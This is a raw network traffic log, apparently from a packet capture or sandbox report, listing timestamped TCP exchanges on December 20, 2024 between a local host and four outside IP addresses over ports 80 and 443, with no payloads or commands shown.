Dec 20, 2024 04:12:20.649127960 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.649172068 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.650089025 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.650176048 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.650224924 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.650266886 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.651196957 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.651290894 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.651303053 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.651356936 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.652297020 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.652348042 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.652529001 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.652573109 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.653413057 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.653466940 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.653497934 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.653573990 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.654604912 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.654619932 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.654655933 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.655615091 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.655664921 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.655723095 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.655776024 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.656809092 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.656862974 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.656892061 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.656997919 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.657902956 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.657917976 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.657962084 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.658947945 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.658991098 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.659137964 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.659183025 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.660059929 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.660109043 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.660136938 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.660180092 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.661218882 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.661448002 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.661473036 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.661524057 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.662293911 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.662406921 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.662451029 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.663336039 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.663383007 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.663528919 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.663568974 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.664431095 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.664480925 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.664608002 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.664648056 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.665527105 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.665584087 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.665644884 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.665683985 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.666657925 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.666714907 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.666748047 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.666805029 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.667738914 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.667812109 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.667900085 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.667943001 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.668817043 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.668891907 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.668978930 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.669040918 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.669922113 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.670010090 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.670142889 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.670185089 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.670986891 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.671050072 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.805299044 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.805377007 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.805413008 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.805465937 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.805852890 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.805901051 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.805917025 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.805941105 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.806936026 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.806996107 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.807023048 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.807076931 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.808056116 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.808110952 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.808243036 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.808290958 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.809153080 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:20.809199095 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:20.849219084 CET	49800	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:20.849241972 CET	443	49800	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:20.849314928 CET	49800	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:20.849664927 CET	49800	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:20.849678040 CET	443	49800	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:22.063808918 CET	443	49800	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:22.063900948 CET	49800	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:22.065793991 CET	49800	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:22.065798044 CET	443	49800	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:22.066016912 CET	443	49800	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:22.067209959 CET	49800	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:22.067323923 CET	49800	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:22.067353010 CET	443	49800	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:22.067409992 CET	49800	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:22.067416906 CET	443	49800	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:22.846028090 CET	49806	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:22.846067905 CET	443	49806	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:22.846144915 CET	49806	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:22.847207069 CET	49806	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:22.847224951 CET	443	49806	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:23.047267914 CET	49781	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:23.047523022 CET	49807	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:23.167308092 CET	80	49807	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:23.167330980 CET	80	49781	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:23.167548895 CET	49781	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:23.167548895 CET	49807	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:23.167686939 CET	49807	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:23.213952065 CET	443	49800	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:23.214206934 CET	443	49800	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:23.214478970 CET	49800	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:23.218597889 CET	49800	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:23.218614101 CET	443	49800	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:23.287184954 CET	80	49807	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:23.608891010 CET	49808	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:23.608918905 CET	443	49808	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:23.609024048 CET	49808	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:23.609483004 CET	49808	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:23.609498978 CET	443	49808	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:24.073725939 CET	443	49806	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:24.073811054 CET	49806	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:24.075293064 CET	49806	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:24.075305939 CET	443	49806	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:24.075515985 CET	443	49806	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:24.113461971 CET	49806	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:24.113483906 CET	49806	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:24.113529921 CET	443	49806	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:24.507215977 CET	80	49807	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:24.507348061 CET	49807	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:24.509670973 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:24.509958029 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:24.629436016 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:24.629451990 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:24.629509926 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:24.629550934 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:24.629738092 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:24.749160051 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:24.831223011 CET	443	49806	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:24.831316948 CET	443	49806	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:24.831381083 CET	49806	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:24.831614017 CET	49806	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:24.831661940 CET	443	49806	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:24.831691027 CET	49806	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:24.831707954 CET	443	49806	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:24.832782984 CET	443	49808	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:24.832882881 CET	49808	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:24.835441113 CET	49808	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:24.835458040 CET	443	49808	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:24.835737944 CET	443	49808	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:24.836746931 CET	49808	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:24.836838007 CET	49808	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:24.836882114 CET	443	49808	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:24.842034101 CET	49811	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:24.842077017 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:24.842135906 CET	49811	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:24.842380047 CET	49811	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:24.842391968 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:25.735441923 CET	443	49808	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:25.735527992 CET	443	49808	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:25.735596895 CET	49808	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:25.735723019 CET	49808	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:25.735760927 CET	443	49808	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:25.976233006 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:25.976265907 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:25.976281881 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:25.976289034 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:25.976308107 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:25.976322889 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:25.976351976 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:25.976366997 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:25.976392984 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:25.976407051 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:25.976423025 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:25.976468086 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:25.976495028 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:25.976509094 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:25.976525068 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:25.976538897 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:25.976557970 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:25.976581097 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:25.976686001 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:25.976721048 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.069031000 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:26.069132090 CET	49811	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:26.096076012 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.096101046 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.096165895 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.096180916 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.100006104 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.100060940 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.100097895 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.100140095 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.140644073 CET	49811	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:26.140659094 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:26.140985966 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:26.142188072 CET	49811	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:26.142201900 CET	49811	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:26.142251968 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:26.168359041 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.168421030 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.168447971 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.168488026 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.172511101 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.172554970 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.172656059 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.172693968 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.180891037 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.180942059 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.183927059 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.183975935 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.184003115 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.184041023 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.192296028 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.192342043 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.192403078 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.192442894 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.200687885 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.200732946 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.200768948 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.200810909 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.209105015 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.209151983 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.209232092 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.209266901 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.217439890 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.217489958 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.217538118 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.217578888 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.225836992 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.225898027 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.226056099 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.226097107 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.234319925 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.234335899 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.234371901 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.234390974 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.241852045 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.241899967 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.241944075 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.241986990 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.249089003 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.249134064 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.249177933 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.249216080 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.256274939 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.256320953 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.360346079 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.360392094 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.360431910 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.360472918 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.361676931 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.361720085 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.361738920 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.361798048 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.366250038 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.366298914 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.366383076 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.366430998 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.370801926 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.370847940 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.370899916 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.370945930 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.375360966 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.375397921 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.375422955 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.375461102 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.379921913 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.379976988 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.380011082 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.380049944 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.384423018 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.384470940 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.384535074 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.384577036 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.388952017 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.388998985 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.389292002 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.389352083 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.393513918 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.393557072 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.393620014 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.393661976 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.398041964 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.398087978 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.398130894 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.398169994 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.402599096 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.402615070 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.402702093 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.407094002 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.407140970 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.407260895 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.407301903 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.411638975 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.411684036 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.411756992 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.411798000 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.416193962 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.416258097 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.416349888 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.416394949 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.416765928 CET	49816	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:26.416829109 CET	443	49816	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:26.416919947 CET	49816	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:26.417234898 CET	49816	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:26.417263031 CET	443	49816	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:26.420708895 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.420823097 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.420872927 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.420902014 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.425235987 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.425304890 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.425345898 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.425390959 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.429764032 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.429822922 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.429864883 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.429910898 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.434357882 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.434406042 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.434472084 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.434519053 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.438885927 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.438955069 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.439084053 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.439136982 CET	49810	80	192.168.2.4	31.41.244.11
